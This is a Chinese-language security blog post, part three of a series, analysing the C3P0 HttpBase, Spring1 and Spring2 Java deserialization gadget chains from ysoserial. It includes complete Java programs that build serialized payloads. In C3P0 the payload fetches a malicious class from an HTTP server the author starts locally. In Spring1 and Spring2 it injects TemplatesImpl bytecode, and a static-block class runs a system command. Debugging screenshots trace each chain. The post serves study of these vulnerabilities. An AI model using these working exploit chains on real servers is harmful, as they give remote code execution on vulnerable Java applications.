再谈Java反序列化:ysoserial补全计划(三)

文章发布时间:

最后更新时间:

文章总字数:
3.8k

预计阅读时间:
17 分钟

再谈Java反序列化:ysoserial补全计划(三)

参考文章:
https://su18.org/

C3P0 HttpBase

C3P0 的基础知识(基础使用和关键类解析)学习学习:
https://www.cnblogs.com/ZhangZiSheng001/p/12080533.html

c3p0是用于创建和管理连接,利用“池”的方式复用连接减少资源开销,和其他数据源一样,也具有连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能。目前,hibernate自带的连接池就是c3p0hibernate 是上一篇文章提到的 orm 框架)

简单来说用法是这样的:

  1. 编写c3p0.properties,设置数据库连接参数和连接池基本参数等
  2. new一个ComboPooledDataSource对象,它会自动加载c3p0.properties
  3. 通过ComboPooledDataSource对象获得Connection对象
  4. 使用Connection对象对用户表进行增删改查

依赖引入:

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

增删改查具体操作就不说了,直接看链子。

前置知识

PoolBackedDataSourceBase

参考文章中对该类的描述是这样的:实现了IdentityTokenized接口,还持有PropertyChangeSupportVetoableChangeSupport对象,并提供了添加和移除监听器的方法。
先看这个类的 writeObject 方法:

image.png

可以看到当 connectPoolDataSource 不可以被序列化的时候,会调用 indirectForm 对其进行引用封装,返回一个可以被序列化的 IndirectlySerialized 实例对象,跟进 indirectForm 方法:

image.png
调用了 connectPoolDataSource 的 getReference 方法获得了 Reference 对象,并使用 ReferenceSerialized 对象对其封装。

再看看反序列化的时候:
image.png

调用其 IndirectlySerialized 的 getObject() 方法重新生成 ConnectionPoolDataSource 对象。

image.png

在 contextName、env 均为空的情况下,则调用 ReferenceableUtils.referenceToObject() 使用 Reference 中的信息来获取。跟进 referenceToObject 方法:

image.png

可以看到利用 Reference 里的信息完成了通过 url 加载类并且进行实例化。

攻击构造

自己重写一个不可以被序列化但实现了 ConnectionPoolDataSource 和 Referenceable 的类,关键是重写里面的 getReference 方法(之前讲过了是利用 Reference 的信息加载类),并将这个类的对象赋值给 PoolBackedDataSourceBase 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0BaseHttp {
private static final class MyPool implements ConnectionPoolDataSource, Referenceable {

private String className;

private String url;

public MyPool(String className, String url) {
this.className = className;
this.url = url;
}

public Reference getReference() throws NamingException {
return new Reference("Pazuris", this.className, this.url);
}

public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

public void setLoginTimeout(int seconds) throws SQLException {
}

public int getLoginTimeout() throws SQLException {
return 0;
}

public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}

public PooledConnection getPooledConnection() throws SQLException {
return null;
}

public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

}

public static void main(String[] args) throws Exception {
Constructor<?> constructor = PoolBackedDataSourceBase.class.getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase p = (PoolBackedDataSourceBase) constructor.newInstance();
ConnectionPoolDataSource pool = new MyPool("cn.pazuris.evil","http://0.0.0.0:1099/");
Field f = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
f.setAccessible(true);
f.set(p,pool);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C3P0Http.bin"));
oos.writeObject(p);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C3P0Http.bin"));
ois.readObject();
}
}

自己写的,整了半天终于弹出计算器了,问题在于远程拉取类这里。首先创建一个 evil 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
package cn.pazuris;

import java.io.IOException;

public class evil {
static {
try {
Runtime.getRuntime().exec("gnome-calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

注意这个类的类名是 cn.pazuris.evil。然后使用 javac 编译为 class 文件!!

接着在 cn 软件包的上一级开一个服务器,python -m http.server --cgi 1099"cn.pazuris.evil","http://0.0.0.0:1099/" 即可成功拉取 evil 类:

image.png

有 fastjson 依赖情况下可以使用另外两条 C3P0 的链子,由于属于 fastjson 的内容,这里不再分析。
https://www.cnblogs.com/akka1/p/16172125.html#autoid-1-3-2

Spring1

动态代理延长,优秀的想法。

参考文章:
https://xz.aliyun.com/t/12875#toc-2
https://cangqingzhe.github.io/2022/05/06/Spring1%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/

影响版本

  • spring-core : 4.1.4.RELEASE
  • spring-beans : 4.1.4.RELEASE
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
    <dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>4.1.4.RELEASE</version>
    </dependency>


    <!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
    <dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-beans</artifactId>
    <version>4.1.4.RELEASE</version>
    </dependency>

如果 maven 报错无法下载,可以在 settings.xml 里面加个代理。

https://blog.csdn.net/weixin_45852922/article/details/120412785

前置知识

AnnotationInvocationHandler

这个动态代理类老朋友了,但是今天会利用到另外一个操作,利用动态代理改变代理类方法的返回值,看 AnnotationInvocationHandler 的 invoke 方法:

image.png

ps:这张图是后面补的,换了台主机,所以换了背景。

可以看到返回了 memberValues (传入的 map)键为 var4 (方法名)的值,于是我们可以通过下面的操作来换掉被代理的类中任意方法的返回值(这很重要!)。

  • 构造一个Map,里面的key是需要更改返回值的方法名,value是对应的返回值。
  • 然后用AnnotationInvocationHandler来动态代理这个类。
  • 这样的话,当我们调用代理类的对应方法时,该方法通过AnnotationInvocationHandlerinvoke()方法后,返回值就被修改为需要的返回值。

MethodInvokeTypeProvider

spring核心包有一个类:org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider。这个类实现了TypeProvider接口,表示这是一个可以进行反序列化的类。看看 readObject 方法,发现了非常危险的 invokeMethod :

image.png

findMethod 传入的参数为自身的provider.getType().getClass()methodName。这个methodName通过反射改就行,重点是如何控制getType方法的返回值,可以实现无参方法的调用。无参方法的调用可以想到老朋友TemplatesImpl.newTransformer(),于是我们的任务变成了控制getType()的返回值为TemplatesImpl即可触发漏洞。

image.png

可以看到原来的getType()返回的是一个 Type 类型的变量,也就是说如果我们直接通过动态代理让getType()返回TemplatesImpl会报类型转换错误的错。

ObjectFactoryDelegatingInvocationHandler

在srping-beans的包中存在org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler这个类,实现了SerializableInvocationHandler接口。可以序列化且动态代理其他类。

image.png

一方面,其 invoke 方法最后会调用 objectFactory 的 getObject 方法,返回一个 objectFactory 对象用于 invoke 反射调用。

image.png

从这里可以看到这个 getObject 方法返回的是泛型,也就是说我们可以通过动态代理任意改变他的返回值而不会产生类型转换错误。

攻击构造

刚开始没想清楚,觉得有点复杂,仔细想想其实思路也很明确,只能说这个动态代理的思路太强大了。

用简单的话说,思路大概是这样的:先用 AnnotationInvocationHandler 代理 TypeProvider ,使其返回值变为一个既是 Type 类型又是 Templates(TemplatesImpl 父类)类型的类(因为返回值必须为 Type ,且必须有 newTransformer 方法才能正常进到动态代理类的 invoke 方法,简单来说就是这个类具有 Type 和 Templates 二者的全部方法),然后使用 ObjectFactoryDelegatingInvocationHandler 来代理这个类,使得触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法,进而触发 getObject 方法,最后用 AnnotationInvocationHandler 代理一下 ObjectFactory ,使 getObject 返回封装好的恶意 TemplatesImpl 对象即可。

总体来说,AnnotationInvocationHandler 用来改变方法的返回值,但是必须与原方法返回值类型相符,使用了两次,中间利用 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法连接,从而成功触发 TemplatesImpl 的 newTransformer 方法,完成命令执行。

完整利用链代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.springframework.beans.factory.ObjectFactory;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;

public class Spring1 {
public static void main(String[] args) throws Exception {
// get bytecodes
InputStream inputStream = Spring1.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecode = tmpl.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(tmpl,new byte[][]{bytes});
// _name must have value
Field name = tmpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl,"Pazuris");

Field tfactory = tmpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(tmpl,new TransformerFactoryImpl());

// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

HashMap<String, Object> map = new HashMap<>();
map.put("getObject", tmpl);

// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
// 当触发factory.getObject()方法时,返回值就被修改为tmpl

// test : factory.toString();

//ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
//并且会调用 method.invoke(返回值,args)
//此时返回值被我们使用动态代理改为了 TemplatesImpl
//接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);

//HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
//hashMap.get(1);
// ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);

// typeTemplateProxy.hashCode();

// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);

InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);


// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);


// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");


ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("spring1.bin"));
oos.writeObject(objects);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("spring1.bin"));
ois.readObject();


}
}

动态调试一下加深理解:

先跳到 MethodInvokeTypeProvider 的 readObject处(入口点):

image.png

由于这里尝试调用 getType 方法,而 provider 又被动态代理,故步进自动调用 AnnotationInvocationHandler 的 invoke 方法:

image.png

可以看到返回的 var6 如我们所愿是被 ObjectFactoryDelegatingInvocationHandler 所代理,且 getObject = TemplatesImpl,回到 readObject 中,再加上之前构造的 this.methodName = newTransformer,尝试调用这个既是 Type 类型又是 Templates(TemplatesImpl 父类)类型的代理类的 newTransformer 方法,跳转至代理类 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法:

image.png

看到下面的 invoke 里面,尝试调用 objectFactory 的 getObject 方法,跳转至 AnnotationInvocationHandler 的 invoke 方法,如上文所述,返回了构造好的恶意 TemplatesImpl 对象:

image.png

最终在这个 ObjectFactoryDelegatingInvocationHandler 里的 method.invoke 完成 TemplatesImpl.newTransformer 的调用,弹出了计算器:

image.png

不得不再次感慨,这条链子对动态代理的利用真的强。

Spring2

比上一条链多了一个 aop 的依赖,少了一个 spring-beans 的依赖,其他依赖情况一样:

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>

因为这条链子整体和 Spring1 一样,只是替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler,使用了 spring-aop 的 JdkDynamicAopProxy ,并完成了后续触发 TemplatesImpl 的流程。

前置知识

JdkDynamicAopProxy

org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了 AopProxy 接口。

我们来看一下 invoke 方法,获取 AdvisedSupport 里的 TargetSource,并调用 getTarget() 方法返回其中的对象,然后进行了反射调用 target 的 method:

image.png

等等,这听起来怎么和上面 Spring1 的 ObjectFactoryDelegatingInvocationHandler 如此一致??没错,就是这样,替换一下就出了 Spring2 的链子,依然代理 targetSource ,让 getTarget 方法返回构造好的 TemplatesImpl 。

攻击构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.springframework.aop.framework.AdvisedSupport;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
public class Spring2 {
public static void main(String[] args) throws Exception{
// get bytecodes
InputStream inputStream = Spring2.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// get TemplatesImpl
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecode = tmpl.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(tmpl,new byte[][]{bytes});
// _name must have value
Field name = tmpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl,"Pazuris");

Field tfactory = tmpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(tmpl,new TransformerFactoryImpl());

// 实例化 AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tmpl);

// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

// JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget 返回 tmpl
// 并且会调用 method.invoke(返回值,args)
// 此时返回值被我们使用动态代理改为了 TemplatesImpl
// 接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0];
aopConstructor.setAccessible(true);
// 使用 AdvisedSupport 实例化 JdkDynamicAopProxy
InvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);

// JdkDynamicAopProxy 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, aopProxy);


// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);

InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);


// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("spring2.bin"));
oos.writeObject(objects);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("spring2.bin"));
ois.readObject();
}
}

动态调试一下也能看出来其实就是和上面那题流程几乎一样的,比如这里第一次 AnnotationInvocationHandler 返回的就是被 JdkDynamicAopProxy 代理的代理类

image.png

最后也是在 invokeJoinpointUsingReflection (就是简单的反射调用方法)完成调用并弹出计算器。

image.png